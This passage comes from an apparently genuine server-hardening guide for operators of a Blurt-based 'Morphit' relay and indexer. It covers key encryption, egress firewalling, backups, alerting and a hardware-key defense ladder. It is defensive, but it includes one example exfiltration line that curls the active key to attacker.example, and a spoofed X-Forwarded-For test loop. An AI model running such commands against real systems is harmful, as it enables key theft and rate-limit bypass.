age-keygen -o /root/.config/age/morphit-secrets.key
chmod 600 /root/.config/age/morphit-secrets.key

# Encrypt the env file
age -r "$(cat /root/.config/age/morphit-secrets.key | grep '#' | cut -d ' ' -f2)" \
    -o /etc/morphit/indexer.env.age \
    < /etc/morphit/indexer.env

# Wrap the systemd unit so it decrypts at boot:
ExecStartPre=/usr/bin/age -d -i /root/.config/age/morphit-secrets.key -o /run/morphit/indexer.env /etc/morphit/indexer.env.age
EnvironmentFile=/run/morphit/indexer.env
ExecStopPost=/bin/rm -f /run/morphit/indexer.env

This means the disk-image of a stolen drive doesn't reveal secrets; only the running system can decrypt them. An attacker who has root on the live system can still read them, but disk theft + offline forensics is defeated.

37.10.1 The relay's active key — your single highest-value secret

Cross-references the 2026-05-07 deep-deep audit of active/owner key handling (SECURITY.md §1b). The audit was user-side (browser code), but this subsection captures the operator-side implications a sysadmin needs to verify.

The relay holds one long-lived hot active key on disk: the WIF (or encrypted envelope) at MORPHIT_RELAY_ACTIVE_KEY_FILE. Inside the running process it's a long-lived string field on the config object — relayActiveKeyWif — used to sign every account-create, every welcome-bonus transfer, every loyalty- milestone BP power-up. This key is the operator's single highest-value secret on the system. If an attacker reads it, they can drain the operator's BLURT balance and reassign delegated BP.

What the user-side audit gives the operator: nothing direct. The user's keys never touch your server. Compromised user keys are user problems, not operator problems.

What you (the operator) must verify:

MORPHIT_RELAY_ACTIVE_KEY_FILE permissions. Mode 0400, owned by the relay's systemd user. The relay's config loader enforces this at boot — it refuses to start if the file is group- or world-readable. Verify with:
```
ls -l "$(grep '^MORPHIT_RELAY_ACTIVE_KEY_FILE' /etc/morphit/relay.env | cut -d= -f2)"
# Expected: -r-------- 1 morphit-relay morphit-relay ...
```
Encrypted-on-disk active key (recommended). Per ADR-0010 §4, the active key file may be a passphrase-encrypted envelope rather than a bare WIF. See §3 of this doc for the migration script (apps/relay/scripts/encrypt-active-key.ts). An encrypted envelope means a stolen disk image yields nothing without the passphrase, which is entered interactively at first boot and held in process memory thereafter.
Systemd hardening covers process memory. §37.5 is already in effect for morphit-relay.service if you followed §37 in order. The relevant directives that protect process memory of the running relay are:
- (MemoryDenyWriteExecute stays off — the relay runs on Node/V8 via tsx, whose JIT needs writable+executable pages, exactly as §37.5 explains; the shipped morphit-relay.service ships MemoryDenyWriteExecute=no)
- RestrictNamespaces=yes, LockPersonality=yes, NoNewPrivileges=yes
- ProtectSystem=strict, ProtectHome=yes, PrivateTmp=yes
- CapabilityBoundingSet= (empty — no caps)
- SystemCallFilter=@system-service @network-io
These don't prevent in-process memory reads (you'd need a kernel-level seccomp filter for that — out of scope for a user-space service), but they prevent the relay's process from being escalated, ptrace'd by a non-root peer, or used as a pivot to attack other services.
AppArmor profile (optional but high-value). §37.7 defines an AppArmor profile for morphit-relay that denies all filesystem access except the key file, the env file, and the IPC socket. An attacker who finds an RCE in the relay's HTTP layer can't read /etc/passwd, /proc/*/maps, or the indexer's database file even if they get arbitrary code execution.
No exfil channel. §37.13 (UFW egress allowlist) limits outbound connections to your Blurt RPC pool. Even with code execution inside the relay, an attacker can't curl -d "$ACTIVE_WIF" attacker.example/.
Backup hygiene. §37.12 covers age-encrypted backups. Do NOT include the bare WIF in any backup that isn't itself encrypted. If your /etc/morphit/keys/ is in a snapshot, that snapshot needs to be encrypted with the same care.
Owner key NEVER on the server. Per §0 (Initial account setup), the owner key for @morphit-relay stays on paper, in a safe, off any networked machine. Without the owner key offline, you cannot rotate the active key after a compromise. Without rotation, a stolen active key is a stolen-forever active key. This is the single most important sysadmin discipline for running a relay.

What the audit tells you when something goes wrong:

If a structured-log line envelope_unlock_via_credential_file (or envelope_unlock_via_env_plaintext) is emitted at boot but the relay subsequently fails to broadcast a transfer with an "invalid signature" error, the in-memory active key may have been corrupted by an attacker who has root. Stop the relay immediately (§7 — Suspected relay compromise) and rotate.

If you find unexplained transfer ops on @morphit-relay's chain history that you didn't initiate (welcome-bonus drainer ops are normal; ops to unknown accounts are not), the active key is presumed compromised. §7 + §8 documents the response.

What this subsection does NOT cover:

Browser-side user-key handling. See SECURITY.md §1b for that audit.
Multi-instance setups where @morphit-relay and @morphit-relay-2 share an owner. See §11.5 of RUN-A-MORPHIT-NODE.md for sub-account architecture.
Hardware-key-backed operator keys. Out of scope today; Yubico's PKCS#11 path against secp256k1 isn't supported by any Blurt signing library, so the operator's active key is necessarily a software key. This is a Blurt-protocol limitation, not a Morphit one.

37.11 Disk encryption (LUKS)

If the host could be physically stolen — VPS provider with shared disks, on-prem hardware, anything you don't 100% trust the supply chain on — encrypt the disk. This is a setup-time decision, not a post-hoc one (well, you CAN encrypt in-place with cryptsetup-reencrypt, but it's a 12-hour ordeal you'd rather avoid).

For VPS providers:

Vultr / Hetzner / DigitalOcean — pick "encrypted disk" at provisioning time if offered. If not, install Ubuntu via the provider's recovery/iso-boot path with full-disk encryption enabled in the installer.
AWS EC2 — enable EBS encryption at volume creation time (default-encrypt account-wide setting recommended).
Bare metal — Ubuntu Server installer's "Use entire disk and set up encrypted LVM" option; pick a strong passphrase and store it offline.

The tradeoff: encrypted disk requires a passphrase at boot, which means automated reboots no longer work without either (a) a TPM that releases the passphrase to the kernel during boot or (b) dropbear-initramfs so you can SSH in pre-boot and unlock manually.

For a Morphit relay that processes signed BLURT broadcasts and holds significant runway, the boot-passphrase friction is worth it. For a low-stakes secondary instance, default- unencrypted-VPS is acceptable.

37.12 Backup encryption

docs/RUN-A-MORPHIT-NODE.md §10 documents daily DB backups via ops/backup/morphit-backup.sh. The script has built-in support for two protections — both off by default, both enabled by editing /etc/morphit/backup.env (no script modification needed):

Per-backup age encryption. Set AGE_RECIPIENT=age1... to the operator's age public key. Every backup is then encrypted with age -r "$AGE_RECIPIENT" before being written to disk; the resulting filename ends in .sql.gz.age instead of .sql.gz.

Generate the keypair OFF this host (laptop, vault host, hardware token):
```
age-keygen -o ~/.age/morphit-backup.key
```
The first line of morphit-backup.key is the public key (age1...); copy it into /etc/morphit/backup.env. The matching PRIVATE key MUST stay off the morphit host — an attacker who roots the box should not be able to decrypt your offsite backups.
Off-host push. Set REMOTE_DESTINATION=user@backup-host:/morphit/ (any rsync-compatible target) and optionally SSH_KEY=/etc/morphit/backup-ssh-key. Every backup is then rsync'd off this host immediately after the local write. rsync errors are warned but non-fatal — the local copy remains the source-of-truth.

Placeholder-value guardrail (cp131): if either AGE_RECIPIENT or REMOTE_DESTINATION still contains a placeholder marker (REPLACE, XXXXX, example.com, CHANGE_ME), the script SKIPS that feature and logs a journald warning rather than silently shipping plaintext to a bogus host or producing unencrypted backups operators believed were encrypted. An operator following the Ansible defaults (which leave both empty) gets local-only plaintext backups — no silent leak.

To verify a backup is genuinely encrypted, try to read it WITHOUT the age private key:

zcat /home/morphit/backups/morphit-20260523-040000.sql.gz.age 2>&1 | head
# Expected: gzip: stdin: not in gzip format
#   (because the bytes are age-encrypted, not gzipped)

age --decrypt -i ~/.age/morphit-backup.key \
    /home/morphit/backups/morphit-20260523-040000.sql.gz.age \
  | zcat | head
# Expected: real SQL dump content.

37.13 Outbound network policy

Morphit's services initiate outbound connections to:

Blurt RPC nodes (default https://rpc.blurt.blog:443, others — see §22)
Bitcoin block explorers (in the canary script + the BTC explorer-fee verifier)
Monero block explorers (XMR explorer-fee verifier)
The relay's chain-broadcast endpoint (Blurt p2p / RPC)
An RSS feed for canary news entropy
Optionally, Anthropic / Claude API for any operator-specific alerting tooling you've built (out of scope for the canonical install)

UFW's default-allow-outbound is fine for normal operation, but "egress-deny by default with explicit allowlist" is the strictest posture. This is a high-friction defense — most operators skip it because it breaks apt upgrade, npm installs, and ad-hoc debugging — but it dramatically reduces the value of a low-priv compromise (an attacker who got code execution as the morphit user can't open a reverse shell to their C2 if outbound is restricted).

If you want to apply it:

# Deny all outbound by default
sudo ufw default deny outgoing

# Allow DNS (most providers' resolver)
sudo ufw allow out 53/udp
sudo ufw allow out 53/tcp

# Allow NTP
sudo ufw allow out 123/udp

# Allow HTTPS (for Blurt RPC, BTC/XMR explorers, RSS feeds, npm)
sudo ufw allow out 443/tcp

# Allow Blurt p2p (default 9999, varies)
# sudo ufw allow out 9999/tcp

# Allow SSH out (so you can clone git repos via ssh:// and run
# operator-side scripts that call out)
sudo ufw allow out 22/tcp

# Allow SMTP if you use a relay for alerts (587 = STARTTLS)
sudo ufw allow out 587/tcp

# Apply
sudo ufw reload

Be ready to temporarily relax this for apt upgrade etc. that hit non-443 mirrors:

sudo ufw default allow outgoing  # temporary
sudo apt upgrade
sudo ufw default deny outgoing
sudo ufw reload

Recommended posture for Morphit: apply the egress allowlist on the relay host (high-value target, narrow scope of legitimate outbound) but skip it on the indexer host (broad legitimate outbound to RPC nodes, explorers, etc., where allowlist maintenance becomes a chore).

37.14 Operator alerting — outbound email

Most of the alerting hooks in §16 (operator-account balance), §37.6 (auditd), §37.9 (AIDE), and §31 (backup) reference sending mail. Configure outbound SMTP once:

# Lightweight: msmtp, a single-user SMTP relay (no full
# postfix install needed).
sudo apt install -y msmtp msmtp-mta mailutils

# Edit /etc/msmtprc:
sudo tee /etc/msmtprc > /dev/null <<'MSMTP'
defaults
auth           on
tls            on
tls_starttls   on
tls_trust_file /etc/ssl/certs/ca-certificates.crt
logfile        /var/log/msmtp.log

account        morphit-alerts
host           smtp.gmail.com
port           587
from           morphit-alerts@<your-domain>
user           morphit-alerts@<your-domain>
password       <app-specific-password>

account default : morphit-alerts
MSMTP

# Permissions: msmtp refuses to run if /etc/msmtprc is readable
# by non-root.
sudo chmod 0600 /etc/msmtprc

# Test:
echo "test from $(hostname)" | mail -s "morphit alert test" your-pager@example.com

Caveats:

Don't put the SMTP password in version control.
Use an "app-specific" or service-account password, not your primary email account password (so a host compromise doesn't give the attacker your email).
Consider a dedicated alerting domain — alerts@morphit.example with a sieve rule to highlight messages from each of your operator hosts.

Once configured, every other section's mail -s ... invocation just works.

37.15 Rootkit / malware scanners (optional)

rkhunter and chkrootkit scan for known signatures of common rootkits. False-positive heavy on a non-stock system, but cheap to run weekly:

sudo apt install -y rkhunter chkrootkit
sudo rkhunter --update
sudo rkhunter --propupd        # baseline current state
# Schedule:
echo '30 4 * * *  root  /usr/bin/rkhunter --check --skip-keypress 2>&1 | mail -s "rkhunter on $(hostname)" your-pager@example.com' \
  | sudo tee /etc/cron.d/rkhunter-morphit

For a paranoid operator: clamav for full antivirus. Heavy (50-200MB RAM resident) but catches things rkhunter doesn't. Optional — most Linux compromises are command-line tools an AV won't recognize.

37.16 GRUB / boot hardening

If physical access is in your threat model (on-prem hardware, colo, anything with a console you don't control), a GRUB password prevents boot-time init=/bin/bash recovery:

sudo grub-mkpasswd-pbkdf2
# Enter and confirm a strong passphrase.  Copy the
# `grub.pbkdf2.sha512.10000.<long hash>` output line.

# Edit /etc/grub.d/40_custom:
sudo tee -a /etc/grub.d/40_custom > /dev/null <<'GRUB'
set superusers="morphit-boot"
password_pbkdf2 morphit-boot grub.pbkdf2.sha512.10000.<paste your hash here>
GRUB

# Edit /etc/grub.d/10_linux to allow the default boot entry to
# run UNLOCKED (otherwise every reboot prompts for the
# passphrase, which is fine if that's what you want):
sudo sed -i 's/CLASS="--class gnu-linux/CLASS="--unrestricted --class gnu-linux/' /etc/grub.d/10_linux

sudo update-grub

Result: normal boot proceeds without prompt; editing the boot entry (the only path to passing init=/bin/bash) requires the passphrase.

Skip this on a remote VPS — you have no console anyway, and the boot passphrase just becomes operational friction.

37.17 Operator account password discipline

Even with key-only SSH, the OS-level operator account has a password (used for sudo). Strengthen:

# /etc/security/pwquality.conf — minimum quality bar
sudo tee -a /etc/security/pwquality.conf > /dev/null <<'PWQ'
minlen = 14
minclass = 3
maxrepeat = 3
maxsequence = 3
gecoscheck = 1
dictcheck = 1
PWQ

# /etc/login.defs — password aging
sudo sed -i 's/^PASS_MAX_DAYS\t.*/PASS_MAX_DAYS\t365/' /etc/login.defs
sudo sed -i 's/^PASS_MIN_DAYS\t.*/PASS_MIN_DAYS\t1/'   /etc/login.defs
sudo sed -i 's/^PASS_WARN_AGE\t.*/PASS_WARN_AGE\t14/' /etc/login.defs

PAM picks up pwquality.conf for passwd calls. Existing passwords aren't immediately rotated — set a reminder for yourself to rotate within 30 days of applying this.

37.18 Final checklist — what an attacker would try, and your defense

Attack	Defense	Section
SSH brute-force	Key-only + fail2ban + AllowUsers	37.1, 34
Stolen SSH key from operator laptop	MaxAuthTries + key passphrase + revocation drill	37.1, 7
Kernel privilege escalation via known CVE	unattended-upgrades + needrestart	37.2
Local kernel exploit needing kernel info disclosure	dmesg/kptr restrict + perf_event_paranoid	37.3
/tmp dropper + chmod+x exploit	tmp/dev/shm noexec	37.4
Service compromise → host takeover	systemd ProtectSystem/CapabilityBoundingSet	37.5
Persistence via cron / authorized_keys / systemd	auditd watches on each	37.6
AppArmor escape	(limited applicability — we run unconfined Node)	37.7
Postgres password sniff via MD5	scram-sha-256	37.8
File tampering after compromise	AIDE nightly diff + offsite baseline	37.9
Secret leak from world-readable .env	0640 root:morphit + age encryption	37.10
Disk theft	LUKS full-disk encryption	37.11
Backup theft → offline crack	age-encrypted backups	37.12
Reverse-shell exfiltration	UFW egress allowlist (relay host only)	37.13
Silent-failure of any of the above	msmtp + cron-driven alerting	37.14
Known rootkit signature	rkhunter weekly	37.15
Console-level recovery / init=/bin/bash	GRUB password	37.16
Sudo password brute	pwquality + login.defs	37.17
Name-squatting brand grab	Layer 7 high-value name policy	18, 38
Name-squatting enumeration	Layer 8 sequential pattern detector	18, 38
Bot signup flood	Altcha PoW + per-IP spacing + BunkerWeb rate limits	18, 32
Forged X-Forwarded-For for rate-limit bypass	trusted-proxy IP allowlist	32
Mass account creation drain	global daily ceiling + LOW_BALANCE alert	18

If your threat model warrants it, also consider:

A dedicated bastion host that's the only thing allowed to SSH into the production host (UFW: deny SSH from anywhere except the bastion's IP).
A separate read-replica Postgres for query-heavy analytics so the production database serves only the indexer's writes.
Hardware security keys (YubiKey) for SSH instead of on-disk private keys.
Audit-log shipping to a separate "log host" so an attacker who roots the production box can't tamper with the evidence trail.
2-of-3 multisig BLURT operator accounts — operationally more friction but a single key compromise no longer drains the relay (currently aspirational; tracked in docs/REVISIT-LIST.md).

These are NOT requirements. §37.1 through §37.17 alone put you well above 95% of self-hosted Linux servers on the public internet. Apply them in order, test each, and stop when you hit your operational risk tolerance.

37.19 Verification checklist — prove each defense actually fires

A hardening pass that wasn't verified isn't a hardening pass. Ansible reporting success, a service starting cleanly, an sshd reload not throwing an error — none of these prove the defense itself works. Each check below is a concrete command that fails fast if the corresponding subsection didn't take effect.

Run from your laptop unless noted; "host" means the morphit server.

SSH posture (§37.1):

# Root login disabled
ssh root@host                 # should fail: "Permission denied (publickey)"

# Password auth disabled
ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no \
    youruser@host             # should fail: "Permission denied"

# Verify the actual sshd_config the daemon is running with
ssh youruser@host sudo sshd -T | grep -E '^(permitrootlogin|passwordauthentication|kbdinteractiveauthentication)'
# Expect: permitrootlogin no
#         passwordauthentication no
#         kbdinteractiveauthentication no

Network surface (§34, §37.13):

# Only expected ports should be open externally
nmap -Pn -p 1-65535 host      # expect: 22, 80, 443 only

# Postgres NOT reachable externally (§37.8)
psql -h host -U morphit_indexer -d morphit_indexer
# expect: connection timeout, NOT a password prompt

Trusted-proxy CIDR (§32) — the asymmetric footgun:

From an IP NOT in MORPHIT_RELAY_TRUSTED_PROXY_IPS, send a spoofed X-Forwarded-For and verify the relay does NOT trust it for rate-limiting purposes. Easiest way: hit a rate-limited endpoint from your real IP, then hit it again with a spoofed XFF claiming a different IP; the second request should be rate-limited too (proving the relay is reading the socket peer, not the XFF):

# Replace the URL with your relay's actual rate-limited endpoint
for i in 1 2 3 4 5 6 7 8 9 10; do
    curl -sI -H "X-Forwarded-For: 198.51.100.$i" \
         https://yourinstance.example/relay/v1/account/availability/test
done | grep -E 'HTTP|x-ratelimit'
# Expect: 429 (or rate-limit header decrementing) after a few
# requests, NOT 200 for all 10 with a fresh counter per XFF.

If every request returns 200 with a fresh rate-limit budget, your trusted-proxy CIDR is too wide and any user can forge XFF to bypass rate limiting.

Secrets file hygiene (§37.10):

ssh host 'ls -l /etc/morphit/'
# Expect: env files 0640, owned by root:morphit
#         keystore 0400, owned by the relay's service user
#         directory itself 0750 root:morphit

Service state (§37.6, §37.9, §37.14, §34):

ssh host 'sudo systemctl is-active auditd fail2ban morphit-relay morphit-indexer'
# Expect: active × 4

ssh host 'sudo systemctl list-timers | grep -E "morphit-backup|certbot"'
# Expect: both timers scheduled, next run within the configured window

ssh host 'sudo aide --check' | head -5
# Expect: "AIDE found NO differences" or matching the count from
# the initial baseline.  Mismatch = something changed since baseline.

ssh host 'sudo ufw status'
# Expect: Status: active, with the expected ALLOW rules

ssh host 'sudo fail2ban-client status sshd'
# Expect: Currently failed: <small number>; ban list visible

Squatter defense (§38.7) — the env vars are actually loaded:

ssh host 'sudo systemctl show morphit-relay -p Environment | tr " " "\n" | grep MORPHIT_RELAY_'
# OR if /etc/morphit/relay.env is the EnvironmentFile:
ssh host 'sudo grep -E "SIGNUP_DAILY_CEILING|CREATE_SPACING_MINUTES|ALTCHA_TRIGGER_COUNT|ALTCHA_MAXNUMBER|HIGHVALUE_NAME_POLICY|HIGHVALUE_SHORT_NAME_THRESHOLD|SEQUENTIAL_DETECTOR_ENABLED|SEQUENTIAL_THRESHOLD|SEQUENTIAL_WINDOW_MS|SEQUENTIAL_MIN_PREFIX" /etc/morphit/relay.env'
# Expect: 10 lines matching the §38.7 diamond-hardened values.

# Confirm the relay actually parsed them — hit /relay/v1/limits or
# whatever your relay's introspection endpoint surfaces.  At
# minimum, journalctl should show the relay logging its loaded
# config on boot:
ssh host 'sudo journalctl -u morphit-relay --since "1 hour ago" | grep -E "ceiling|altcha|sequential"'

Backup actually wrote + actually went off-host (§31, §37.12):

# Local backup dir has recent backups
ssh host "ls -la $(grep BACKUP_DIR /etc/morphit/backup.env | cut -d= -f2 | tr -d \"'\")"

# Off-host destination has them too
ssh backups@your-backup-host 'ls -la /morphit/' | head -10
# Expect: recent .age files; size > 0; mtime within the last 24h

# Spot-test decryption with the age key (NOT on the morphit host!)
age -d -i /path/to/backup.key /tmp/sample-backup.sql.gz.age | head
# Expect: the start of a pg_dump (-- PostgreSQL database dump --)

Application surface — relay + indexer respond + serve the right JSON:

curl -sf https://yourinstance.example/v1/instance | jq '.disabled_assets'
# Expect: an array (may be empty); confirms the indexer is up,
# /v1/instance is responding, and the cp6 disabled_assets field is
# wired.

curl -sf https://yourinstance.example/relay/v1/health
# Expect: 200 + JSON; confirms BunkerWeb is proxying to the relay
# and the relay is alive.

If any check above fails, fix that subsection before moving on — a partial hardening pass with one broken layer is worse than honest about the gap, because operational decisions will be made assuming the layer is in place.

37.20 Active-key defense-in-depth — beyond the OS baseline

Subsections 37.1–37.19 above harden the operating system the relay runs on. This subsection layers on top: even after the OS baseline is in place and verified, the active key still sits in the relay's process memory and on disk (encrypted). The items below add successive layers above the OS so that compromise of the OS itself doesn't immediately mean compromise of the key.

Each item declares: why it helps, what it costs, and when it makes sense to add it. The ordering is roughly by value-per-effort — early items are cheap and high-value; later items are operationally heavier but raise the ceiling further.

The baseline starting point assumed by this subsection:

§3 boot-time passphrase ceremony with systemd-creds
§37.5 systemd process / capability hardening (PrivateTmp, ProtectSystem=strict, etc.)
§37.7 AppArmor profile for morphit-relay
§37.10 secrets-file hygiene (mode 0400, owned by morphit-relay, AIDE-monitored via §37.9)
§3 in-process key-handling discipline (KDF buffer zeroed after use, decrypted WIF only in JS string scope)

Do not start on the items below until the baseline is in place and the §37.19 verification checklist passes. Layering defense on top of a broken baseline is wasted effort.

37.20.1 — YubiKey HMAC-SHA1 challenge-response as boot passphrase

Why it helps. Today, the boot-time passphrase is something the operator types. An attacker with hypervisor access to the VPS can power-cycle the box and wait for an auto-restart with a cached passphrase — or, if the operator is using systemd-creds encrypted with the TPM, hope to extract the credential. Adding a YubiKey challenge-response step means the relay literally cannot decrypt its envelope without the physical YubiKey inserted in a USB port. The challenge lives in the boot script; the YubiKey computes HMAC-SHA1(challenge, slot-2-secret) and the result is the passphrase.

What it costs.

Hardware: $45 for a YubiKey 5 (USB-A or USB-C variant — either works; YubiKey 5 NFC also works if you want the NFC option). Order TWO. One stays plugged into the server; one is the backup, stored offline in a safe. Both keys must be programmed with the SAME slot-2 secret so they're interchangeable.
Setup time: ~1 hour. Mostly programming the YubiKey slot via ykman + writing the unlock script that calls ykchalresp and pipes the result into systemd-creds.
Operational change: at boot, the relay won't come up until the YubiKey is plugged in. This means unplanned reboots require physical access (or a known-trusted remote-KVM with KVM-over-IP smart-card passthrough). Plan accordingly.

When it makes sense. As soon as the relay is on a production server you don't physically touch daily. The defense is strongest precisely when the operator is NOT in the data center — which is when remote reboots are the threat.

Operational caveat — paper backup of the challenge response. Program the YubiKey slot-2 secret OFF-DEVICE first (compute the secret on your laptop with dd if=/dev/urandom bs=20 count=1 | xxd -p), then load it into both YubiKeys. Mail an envelope containing the hex secret to yourself (paper, multi-location). A lost-AND-stolen pair of YubiKeys is not fatal: regenerate from the paper backup onto new YubiKeys.

Source. No code change required. Wire as a boot-script addition that runs before systemctl start morphit-relay. Reference implementation:

#!/bin/sh
# /usr/local/sbin/morphit-relay-unlock-with-yubikey.sh
# Run by the operator interactively at boot, before starting
# the morphit-relay service.  Touches the YubiKey (you'll see
# the LED blink — press the button when it does), computes the
# challenge response, and feeds it into the relay's encrypted
# envelope passphrase.

set -eu

CHALLENGE_FILE=/etc/morphit/yubikey-challenge
CRED_NAME=morphit-relay-passphrase

if [ ! -f "$CHALLENGE_FILE" ]; then
  echo "ERROR: $CHALLENGE_FILE missing — see §37.20.1" >&2
  exit 1
fi

# Compute response; ykchalresp blocks until the user touches
# the YubiKey button.
CHALLENGE=$(cat "$CHALLENGE_FILE")
RESPONSE=$(ykchalresp -2 "$CHALLENGE")

# Pipe into systemd-creds to recreate the encrypted credential
# for this boot only.  The credential lives in tmpfs and is
# wiped when the service stops.
echo -n "$RESPONSE" | systemd-creds encrypt --name="$CRED_NAME" \
  - /run/credentials/morphit-relay/passphrase

systemctl start morphit-relay
echo "✓ morphit-relay started"

37.20.2 — `mlock` + `MADV_DONTDUMP` on the decrypted-key buffer

Why it helps. Standard process-memory hygiene above the existing memzero-after-use pattern. mlock() pins the live key page in RAM so the kernel cannot page it to swap (where it would persist after process termination unless swap is encrypted). madvise(MADV_DONTDUMP) marks the page as excluded from coredumps — defense in depth alongside fs.suid_dumpable=0 from §37.3 and LimitCORE=0 from §37.5. Together they harden against: (a) post-compromise swap-scraping, (b) any accidental coredump path that §37.3 missed, and (c) ptrace-based memory inspection from a non-root process running as morphit-relay.

What it costs.

Code: ~15 lines in apps/relay/src/crypto/keyEnvelope.ts. Wrap the decrypted-WIF buffer's lifecycle with libsodium's sodium_mlock() + sodium_munlock(), which call mlock()/madvise(MADV_DONTDUMP) under the hood (and memzero on munlock()).
Capability: needs CAP_IPC_LOCK for the relay process. Add AmbientCapabilities=CAP_IPC_LOCK and CapabilityBoundingSet=CAP_IPC_LOCK to the morphit-relay systemd unit (these go alongside the existing §37.5 capability lockdown).
Runtime overhead: negligible (a single 32-byte page locked for the lifetime of the relay).

When it makes sense. Now. This is a code change in the relay's crypto layer that costs an afternoon and tightens the process-memory model regardless of any OS-level defense state.

Verification.

# From the morphit-relay user, with the relay running:
sudo -u morphit-relay cat /proc/$(pgrep -f morphit-relay)/status | grep -E 'VmLck|CoreDumping'
# Expect:
#   VmLck:    4 kB           (or some multiple of page size)
#   CoreDumping: 0

37.20.3 — Out-of-band signature alerts (first 4-6 weeks of operation)

Why it helps. The relay's existing matrix-bot integration can DM the operator on every chain op the relay broadcasts. Each DM includes: monotonic sequence number, op type (account_create / transfer / custom_json), recipient account (for transfers), BLURT amount (for transfers), and timestamp. The operator sees in real time whether anything anomalous gets signed. Catches compromise within minutes instead of days.

This is observability, not prevention — but on a fresh production relay where traffic patterns aren't yet baselined, the asymmetric value of catching a compromise EARLY is huge. After 4-6 weeks of legitimate-pattern data, the human-eye oversight stops scaling and you turn it off (or keep it filtered to anomalies only).

What it costs.

Code: a postBroadcastAlert(op) hook in the relay's broadcast path. Wire to the matrix-bot send API.
Operator attention: ~30 DMs per day from a tester-scale relay; check them at coffee, lunch, end of day. Use a dedicated Matrix room so they don't drown other DMs.
After-baseline tuning: filter to only transfers above $1 USD-equivalent, or only account_create ops, or only ops to recipients not in the operators table.

When it makes sense. Days 0–42 of beta. Disable (or filter heavily) after that, once you trust the patterns.

Source. apps/relay/src/blurt/client.ts (the relay's broadcast methods — broadcastTransfer, broadcastAccountCreate, etc.) is the natural site; add an alertSink next to the existing logging sinks.

37.20.4 — In-app signer-policy fence

Why it helps. Even if an attacker gets code-execution inside the relay (e.g., via a malicious upstream npm dependency breaking past the lockfile pin, or a 0-day in a runtime dependency), they have to go through the relay's own signer helper to broadcast — and that helper enforces business-logic constraints regardless of caller. The fence rejects:

Transfer recipient not in operators table AND not a freshly-created signup account. The relay legitimately transfers BLURT only to (a) other operators (fee splits) or (b) brand-new signups (welcome bonus). An attacker transferring to a fresh attacker-controlled account would fail (b)'s monotonicity gate.
Per-recipient 24h cumulative cap. No single recipient can drain more than $X per day. Configurable per operator.
Global per-minute transfer rate ceiling. N transfers per minute max; an attacker trying to burst-drain hits this wall.
account_create only when ALTCHA + invite-HMAC re-verify at sign time. Closes a race where the anti-bot evidence was valid at request-time but the actual sign happens later; the signer re-checks.

This is the natural home for the spending-limit logic discussed in cp47 kill-switch territory — extended from "refuse everything" to "refuse anything outside policy."

What it costs.

Code: a new module living alongside the existing apps/relay/src/policy/killSwitch.ts — call it whatever you like (the obvious name is "signerPolicy" but that's a bikeshed choice). ~150–300 lines including smoke coverage.
Configuration: 4–6 new env vars (MORPHIT_RELAY_DAILY_RECIPIENT_CAP_USD, MORPHIT_RELAY_GLOBAL_TPM_CEILING, etc.).
Operational tuning: the first week, you'll watch alerts (37.20.3) for false-positive policy rejections and tighten/loosen as needed.

When it makes sense. Best paired with 37.20.5 (air-gapped signer); the policy fence and the signing primitive belong next to each other. If 37.20.5 is in your plan, do them together. If not, do this alone — still meaningfully reduces attacker leverage.

37.20.5 — Air-gapped signer process

Why it helps. Today, the active key is decrypted into the SAME process that handles HTTP requests, talks to Postgres, runs npm dependencies, parses JSON from chain RPC, etc. Any remote-code-execution vector in that process gives the attacker the key in memory.

Air-gapped-signer means moving signing into a separate process, running as a separate Unix user, with no network egress, that talks to the relay over a Unix-domain socket. The relay sends: {"op": "transfer", "to": "alice", "amount": "5.000 BLURT"}. The signer (a) re-validates the request against the §37.20.4 policy fence, (b) signs with the active key in its OWN process memory, (c) returns the signed bytes back over the socket.

Compromise of the relay process now means:

✗ No filesystem access to the key envelope (signer's user owns the file, mode 0400)
✗ No memory access to the decrypted key (separate process, different ASLR layout, different cgroup, denied ptrace)
✓ An RPC interface to the signer — but that interface is exactly the §37.20.4 policy fence

The signer process is tiny, audited, deliberately feature-frozen. The relay process is allowed to evolve rapidly; the signer is treated as cryptographic infrastructure.

What it costs.

Code: ~500–800 lines for a minimal signer + socket protocol. Could be Rust, Go, or Node.js — whichever the team is most comfortable security-auditing. Rust gets you memory-safety guarantees the JS process doesn't have.
Deployment: a second systemd unit (morphit-relay-signer.service), a separate Unix user (morphit-relay-signer), a Unix socket with restrictive permissions, an AppArmor profile specifically for the signer that denies network egress entirely.
Operational change: minimal once deployed. Relay restart no longer prompts for the passphrase (signer holds it); signer restart does. Decouples the two lifecycles.

When it makes sense. After 37.20.1–37.20.4 are in place and stable. This is the largest architectural change in the ladder; it should be a deliberate sprint, not a side project. Target it for around the first quarterly maintenance window.

37.20.6 — Quarterly active-key rotation

Why it helps. Even with all the layers above, a sufficiently determined attacker who somehow extracts the active key could sit on it indefinitely, waiting for a high-value window. Rotating the key on a calendar bounds the window: any silent compromise has a 90-day shelf life.

§3 already documents the rotation procedure (owner key signs the new active-authority on chain; the old active becomes useless the moment the chain confirms). This subsection just says: make it a scheduled discipline, not a reactive one.

What it costs.

30 minutes every 90 days. Plus the ~10–15 minutes of one-time setup to put a calendar reminder somewhere visible (Matrix bot pings on the 1st of every 3rd month; cron job emails the operator; whatever fits your workflow).
Owner-key handling for the actual rotation: must remain offline. See §3 for the cold-signing flow.

When it makes sense. Set the calendar reminder today. First rotation: 90 days after relay first goes live.

37.20.7 — YubiHSM 2 — hardware key isolation

Why it helps. The endgame for hot-signing-key protection. Replace the encrypted-envelope-on-disk model with a hardware security module: the active key is generated INSIDE the YubiHSM and physically cannot be extracted from it. Every chain op becomes an API call to the HSM ("here is a 32-byte hash; please sign it with key handle 0x0042"). The HSM signs and returns 65 bytes. The relay never sees the key.

Even root on the box can't read the key. Even physical removal of the HSM doesn't yield the key — the HSM stores it in tamper-resistant silicon and self-destructs the key material on tamper detection.

YubiHSM 2 supports secp256k1 natively (Blurt's curve), which not every HSM does.

What it costs.

Hardware: ~$650 for YubiHSM 2. Buy two — primary + backup with the same key material (HSM-to-HSM cloning via the audit-log mode).
Code: ~200–400 lines. Replace the in-process signer primitive (sign(payload, wif)) with a YubiHSM RPC call (yubihsm.sign(payload, key_handle)). If §37.20.5 air-gapped-signer is already in place, this slots into the signer process — the rest of the relay doesn't change.
One-time provisioning: ~2 hours to set up the HSM, generate the key inside it, configure audit-log mode, mirror to the backup HSM.

When it makes sense. When morphit.io has measurable transaction volume and a real treasury balance that justifies the capex. Until then, 37.20.1 (cheap YubiKey for boot unlock) + 37.20.5 (air-gapped signer) gets you 80% of the way there for $45 + an afternoon.

37.20.8 — Native Blurt 2-of-2 multi-auth with cold cosigner

